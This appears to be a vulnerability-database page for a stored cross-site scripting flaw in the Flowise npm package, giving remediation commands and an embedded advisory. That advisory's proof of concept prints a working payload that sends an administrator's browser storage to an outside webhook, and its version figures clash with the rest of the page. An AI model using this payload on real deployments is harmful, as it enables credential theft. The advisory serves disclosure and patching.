CVE-2025-50538: Flowise Cross-Site Scripting Vulnerability
CRITICALCVE-2025-50538 is a CRITICAL (CVSS 9.3) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Flowise libraries in the npm ecosystem. The issue involves flowise is vulnerable to stored xss via "view messages" allows credential theft in flowiseai admin panel. Remediation is available by upgrading affected packages to version 3.0.8.
CVE-2025-50538 at a Glance
Security Impact
CVSS: 9.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).
How to Fix CVE-2025-50538
To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install flowise@3.0.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls flowise
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-50538, inspect your project dependencies using npm:
npm ls flowise
Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.8), your application is affected.
Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-50538 Affected Flowise Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flowise
|
npm |
< 3.0.8
|
3.0.8
|
References
Frequently Asked Questions
What is CVE-2025-50538?
Which Flowise versions are affected?
What version fixes CVE-2025-50538?
Is flowise affected?
What is the CVSS score of CVE-2025-50538?
What CWE is associated with CVE-2025-50538?
How can I check npm dependencies for CVE-2025-50538?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-964p-j4gg-mhwc",
"modified" : "2025-10-13T17:38:22Z",
"published" : "2025-10-03T21:47:37Z",
"aliases" : [ "CVE-2025-50538" ],
"summary" : "Flowise is vulnerable to stored XSS via \"View Messages\" allows credential theft in FlowiseAI admin panel",
"details" : "### Summary\nA stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the \"View Messages\" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`.\n\n---\n\n### Details\nThe vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc=\"...\">` can include arbitrary JavaScript, which is executed when the message is rendered.\n\n---\n\n### PoC\n1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).\n2. Send the following payload via the agent's chat interface:\n ```html\n <iframe srcdoc=\"<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>\">\n ```\n3. As an admin, go to the workflow and click **\"View Messages\"**.\n4. The JavaScript is executed in the admin's browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint.\n\n---\n\n### Impact\n- **Type:** Stored Cross-Site Scripting (XSS)\n- **Who is impacted:** Any admin viewing messages in the FlowiseAI UI\n- **Data at risk:** Admin credentials, or sensitive info stored in `localStorage`\n- **Severity:** High (Account takeover, admin privilege escalation, full panel compromise)\n\n---\n\n### Affected Products\n- **Ecosystem:** `npm`\n- **Package name:** `flowise`\n- **Affected versions:** `< 2.2.7`\n- **Patched versions:**`1`",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.0.8"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-964p-j4gg-mhwc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-50538"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/pull/4905"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/commit/9a06a85a8ddcbaeca1342827a5fea9087a587d97"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FlowiseAI/Flowise"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2025-10-03T21:47:37Z",
"nvd_published_at" : null
}
}